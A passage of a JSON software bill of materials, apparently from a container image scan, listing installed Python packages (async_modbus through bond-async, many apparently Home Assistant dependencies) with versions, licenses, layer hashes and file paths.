"usr/local/lib/python3.14/site-packages/async_modbus-0.2.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "async_upnp_client", "Identifier": { "PURL": "pkg:pypi/async-upnp-client@0.46.2", "UID": "b5253b2886476760" }, "Version": "0.46.2", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/async_upnp_client-0.46.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "asyncarve", "Identifier": { "PURL": "pkg:pypi/asyncarve@0.1.1", "UID": "c5a69a1cd583fdd3" }, "Version": "0.1.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/asyncarve-0.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "asyncclick", "Identifier": { "PURL": "pkg:pypi/asyncclick@8.4.2.1", "UID": "738376ba962cc831" }, "Version": "8.4.2.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/asyncclick-8.4.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "asyncinotify", "Identifier": { "PURL": "pkg:pypi/asyncinotify@4.4.4", "UID": "f021e97084cb8560" }, "Version": "4.4.4", "Licenses": [ "MPL-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/asyncinotify-4.4.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "asyncio-dgram", "Identifier": { "PURL": "pkg:pypi/asyncio-dgram@3.0.0", "UID": "6919d1c963fba424" }, "Version": "3.0.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/asyncio_dgram-3.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "asyncio-throttle", "Identifier": { "PURL": "pkg:pypi/asyncio-throttle@1.0.2", "UID": "9766f5648ea166e2" }, "Version": "1.0.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/asyncio_throttle-1.0.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "asyncpysupla", "Identifier": { "PURL": "pkg:pypi/asyncpysupla@0.0.5", "UID": "cf1cede9b70e1906" }, "Version": "0.0.5", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/asyncpysupla-0.0.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "asyncsleepiq", "Identifier": { "PURL": "pkg:pypi/asyncsleepiq@1.7.1", "UID": "9c9c3a04eba8afb3" }, "Version": "1.7.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/asyncsleepiq-1.7.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "asyncssh", "Identifier": { "PURL": "pkg:pypi/asyncssh@2.21.0", "UID": "f52b4e4d5889ba89" }, "Version": "2.21.0", "Licenses": [ "EPL-2.0 OR GPL-2.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/asyncssh-2.21.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "asyncstdlib", "Identifier": { "PURL": "pkg:pypi/asyncstdlib@3.14.0", "UID": "e1e413c1130182bd" }, "Version": "3.14.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/asyncstdlib-3.14.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "asynctest", "Identifier": { "PURL": "pkg:pypi/asynctest@0.13.0", "UID": "a4cad25cacd72ec4" }, "Version": "0.13.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/asynctest-0.13.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "atomicwrites-homeassistant", "Identifier": { "PURL": "pkg:pypi/atomicwrites-homeassistant@1.4.1", "UID": "e2123ccddf92a599" }, "Version": "1.4.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/atomicwrites_homeassistant-1.4.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "atpublic", "Identifier": { "PURL": "pkg:pypi/atpublic@7.0.0", "UID": "eac77022ea15ce71" }, "Version": "7.0.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/atpublic-7.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "attrs", "Identifier": { "PURL": "pkg:pypi/attrs@26.1.0", "UID": "bccfd24db012a15f" }, "Version": "26.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/attrs-26.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "audioop-lts", "Identifier": { "PURL": "pkg:pypi/audioop-lts@0.2.2", "UID": "4a57ee54f0010032" }, "Version": "0.2.2", "Licenses": [ "PSF-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/audioop_lts-0.2.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "auroranoaa", "Identifier": { "PURL": "pkg:pypi/auroranoaa@0.0.5", "UID": "ab51d7adeda5b818" }, "Version": "0.0.5", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/auroranoaa-0.0.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aurorapy", "Identifier": { "PURL": "pkg:pypi/aurorapy@0.2.7", "UID": "31c702e72a109c29" }, "Version": "0.2.7", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aurorapy-0.2.7.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "autarco", "Identifier": { "PURL": "pkg:pypi/autarco@3.2.0", "UID": "1cbd24bbe6247d49" }, "Version": "3.2.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/autarco-3.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "auth0-python", "Identifier": { "PURL": "pkg:pypi/auth0-python@4.13.0", "UID": "ab19570b42011ebf" }, "Version": "4.13.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/auth0_python-4.13.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "autocommand", "Identifier": { "PURL": "pkg:pypi/autocommand@2.2.2", "UID": "28931fe0a5983e4a" }, "Version": "2.2.2", "Licenses": [ "LGPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/autocommand-2.2.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "autocommand", "Identifier": { "PURL": "pkg:pypi/autocommand@2.2.2", "UID": "ee17fcf6ef229011" }, "Version": "2.2.2", "Licenses": [ "LGPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/setuptools/_vendor/autocommand-2.2.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "automower_ble", "Identifier": { "PURL": "pkg:pypi/automower-ble@0.2.9", "UID": "bdfded5f171934f8" }, "Version": "0.2.9", "Licenses": [ "GPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/automower_ble-0.2.9.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "autoskope_client", "Identifier": { "PURL": "pkg:pypi/autoskope-client@1.4.1", "UID": "f4bd5c6ac6f73d36" }, "Version": "1.4.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/autoskope_client-1.4.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "av", "Identifier": { "PURL": "pkg:pypi/av@17.0.1", "UID": "ef06d6bb34c2015f" }, "Version": "17.0.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/av-17.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "avea", "Identifier": { "PURL": "pkg:pypi/avea@1.8.0", "UID": "5a3265b190cb815" }, "Version": "1.8.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/avea-1.8.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "awesomeversion", "Identifier": { "PURL": "pkg:pypi/awesomeversion@25.8.0", "UID": "17bfc4381b0b47c4" }, "Version": "25.8.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/awesomeversion-25.8.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aws-request-signer", "Identifier": { "PURL": "pkg:pypi/aws-request-signer@1.2.0", "UID": "2fd205343f46481a" }, "Version": "1.2.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aws_request_signer-1.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "awscrt", "Identifier": { "PURL": "pkg:pypi/awscrt@0.34.1", "UID": "d2908fa2a1113b94" }, "Version": "0.34.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/awscrt-0.34.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "awsiotsdk", "Identifier": { "PURL": "pkg:pypi/awsiotsdk@1.30.0", "UID": "16801c9630f0c9c0" }, "Version": "1.30.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/awsiotsdk-1.30.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "axis", "Identifier": { "PURL": "pkg:pypi/axis@74", "UID": "340a3546066bde49" }, "Version": "74", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/axis-74.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ayla_iot_unofficial", "Identifier": { "PURL": "pkg:pypi/ayla-iot-unofficial@1.4.7", "UID": "174f3b0fef53ed8" }, "Version": "1.4.7", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/ayla_iot_unofficial-1.4.7.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "azure-core", "Identifier": { "PURL": "pkg:pypi/azure-core@1.41.0", "UID": "9bb36c34771ff492" }, "Version": "1.41.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/azure_core-1.41.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "azure-eventhub", "Identifier": { "PURL": "pkg:pypi/azure-eventhub@5.11.1", "UID": "18a238f97a641852" }, "Version": "5.11.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/azure_eventhub-5.11.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "azure-identity", "Identifier": { "PURL": "pkg:pypi/azure-identity@1.25.3", "UID": "6590422769ea4d40" }, "Version": "1.25.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/azure_identity-1.25.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "azure-kusto-data", "Identifier": { "PURL": "pkg:pypi/azure-kusto-data@4.5.1", "UID": "40ea3499d7299a82" }, "Version": "4.5.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/azure_kusto_data-4.5.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "azure-kusto-ingest", "Identifier": { "PURL": "pkg:pypi/azure-kusto-ingest@4.5.1", "UID": "9817544bdce770c3" }, "Version": "4.5.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/azure_kusto_ingest-4.5.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "azure-servicebus", "Identifier": { "PURL": "pkg:pypi/azure-servicebus@7.10.0", "UID": "e7d898a824958b53" }, "Version": "7.10.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/azure_servicebus-7.10.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "azure-storage-blob", "Identifier": { "PURL": "pkg:pypi/azure-storage-blob@12.24.0", "UID": "8a972ae1bf68b7b" }, "Version": "12.24.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/azure_storage_blob-12.24.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "azure-storage-queue", "Identifier": { "PURL": "pkg:pypi/azure-storage-queue@12.17.0", "UID": "ee2a8c7bd2eb35d3" }, "Version": "12.17.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/azure_storage_queue-12.17.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "b2sdk", "Identifier": { "PURL": "pkg:pypi/b2sdk@2.10.4", "UID": "1b8191701279ae55" }, "Version": "2.10.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/b2sdk-2.10.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "babel", "Identifier": { "PURL": "pkg:pypi/babel@2.18.0", "UID": "cb821fccefa31e43" }, "Version": "2.18.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/babel-2.18.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "backoff", "Identifier": { "PURL": "pkg:pypi/backoff@2.2.1", "UID": "a1a94cd3729423f0" }, "Version": "2.2.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/backoff-2.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "backports.tarfile", "Identifier": { "PURL": "pkg:pypi/backports.tarfile@1.2.0", "UID": "f90c2e0676867adf" }, "Version": "1.2.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/setuptools/_vendor/backports.tarfile-1.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "baidu-aip", "Identifier": { "PURL": "pkg:pypi/baidu-aip@1.6.6.0", "UID": "a745d100d80909ed" }, "Version": "1.6.6.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/baidu_aip-1.6.6.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "base36", "Identifier": { "PURL": "pkg:pypi/base36@0.1.1", "UID": "b53e05b454e3174d" }, "Version": "0.1.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/base36-0.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "batinfo", "Identifier": { "PURL": "pkg:pypi/batinfo@0.4.2", "UID": "bb931453940cfdb5" }, "Version": "0.4.2", "Licenses": [ "LGPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/batinfo-0.4.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "bcrypt", "Identifier": { "PURL": "pkg:pypi/bcrypt@5.0.0", "UID": "c4b79b124e2f0e69" }, "Version": "5.0.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/bcrypt-5.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "beautifulsoup4", "Identifier": { "PURL": "pkg:pypi/beautifulsoup4@4.13.3", "UID": "bdbb3d141bfb717e" }, "Version": "4.13.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/beautifulsoup4-4.13.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "bellows", "Identifier": { "PURL": "pkg:pypi/bellows@0.49.2", "UID": "4a30d97c146d1bd3" }, "Version": "0.49.2", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/bellows-0.49.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "bidict", "Identifier": { "PURL": "pkg:pypi/bidict@0.23.1", "UID": "aa6b0d5c1cf238d5" }, "Version": "0.23.1", "Licenses": [ "MPL-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/bidict-0.23.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "bitarray", "Identifier": { "PURL": "pkg:pypi/bitarray@3.9.0", "UID": "c4d6975bec614bc0" }, "Version": "3.9.0", "Licenses": [ "PSF-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/bitarray-3.9.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "bitstring", "Identifier": { "PURL": "pkg:pypi/bitstring@4.4.0", "UID": "ebf80ea203cb3574" }, "Version": "4.4.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/bitstring-4.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "bitstruct", "Identifier": { "PURL": "pkg:pypi/bitstruct@8.22.1", "UID": "2b8d142e60e4d855" }, "Version": "8.22.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/bitstruct-8.22.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "bizkaibus", "Identifier": { "PURL": "pkg:pypi/bizkaibus@0.1.1", "UID": "435ecd41b9ff69ea" }, "Version": "0.1.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/bizkaibus-0.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "bleach", "Identifier": { "PURL": "pkg:pypi/bleach@6.4.0", "UID": "2958904067870ad" }, "Version": "6.4.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/bleach-6.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "bleak", "Identifier": { "PURL": "pkg:pypi/bleak@3.0.2", "UID": "16a0d9e424b99b18" }, "Version": "3.0.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/bleak-3.0.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "bleak-esphome", "Identifier": { "PURL": "pkg:pypi/bleak-esphome@3.9.7", "UID": "dec1f47491025d41" }, "Version": "3.9.7", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/bleak_esphome-3.9.7.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "bleak-retry-connector", "Identifier": { "PURL": "pkg:pypi/bleak-retry-connector@4.6.1", "UID": "c86c2f6c3c4862c8" }, "Version": "4.6.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/bleak_retry_connector-4.6.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "blebox-uniapi", "Identifier": { "PURL": "pkg:pypi/blebox-uniapi@2.5.5", "UID": "d2238907e32c9a55" }, "Version": "2.5.5", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/blebox_uniapi-2.5.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "blinker", "Identifier": { "PURL": "pkg:pypi/blinker@1.9.0", "UID": "d9bfb0b3eb5ce815" }, "Version": "1.9.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/blinker-1.9.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "blinkpy", "Identifier": { "PURL": "pkg:pypi/blinkpy@0.25.6", "UID": "a3361d51fd647192" }, "Version": "0.25.6", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/blinkpy-0.25.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "blockchain", "Identifier": { "PURL": "pkg:pypi/blockchain@1.4.4", "UID": "acb7aabf17a1cbde" }, "Version": "1.4.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/blockchain-1.4.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "bluecurrent-api", "Identifier": { "PURL": "pkg:pypi/bluecurrent-api@1.3.3", "UID": "a81f744ae50ee6d7" }, "Version": "1.3.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/bluecurrent_api-1.3.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "bluemaestro-ble", "Identifier": { "PURL": "pkg:pypi/bluemaestro-ble@0.4.1", "UID": "b00ac8a3baee797" }, "Version": "0.4.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/bluemaestro_ble-0.4.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "bluetooth-adapters", "Identifier": { "PURL": "pkg:pypi/bluetooth-adapters@2.4.0", "UID": "6c87af90601b3d05" }, "Version": "2.4.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/bluetooth_adapters-2.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "bluetooth-auto-recovery", "Identifier": { "PURL": "pkg:pypi/bluetooth-auto-recovery@1.6.4", "UID": "e8d4c28560015dfd" }, "Version": "1.6.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/bluetooth_auto_recovery-1.6.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "bluetooth-data-tools", "Identifier": { "PURL": "pkg:pypi/bluetooth-data-tools@1.29.18", "UID": "288d338f832e6f56" }, "Version": "1.29.18", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/bluetooth_data_tools-1.29.18.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "bluetooth-sensor-state-data", "Identifier": { "PURL": "pkg:pypi/bluetooth-sensor-state-data@1.9.0", "UID": "14ffaaf9275289bd" }, "Version": "1.9.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/bluetooth_sensor_state_data-1.9.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "bond-async", 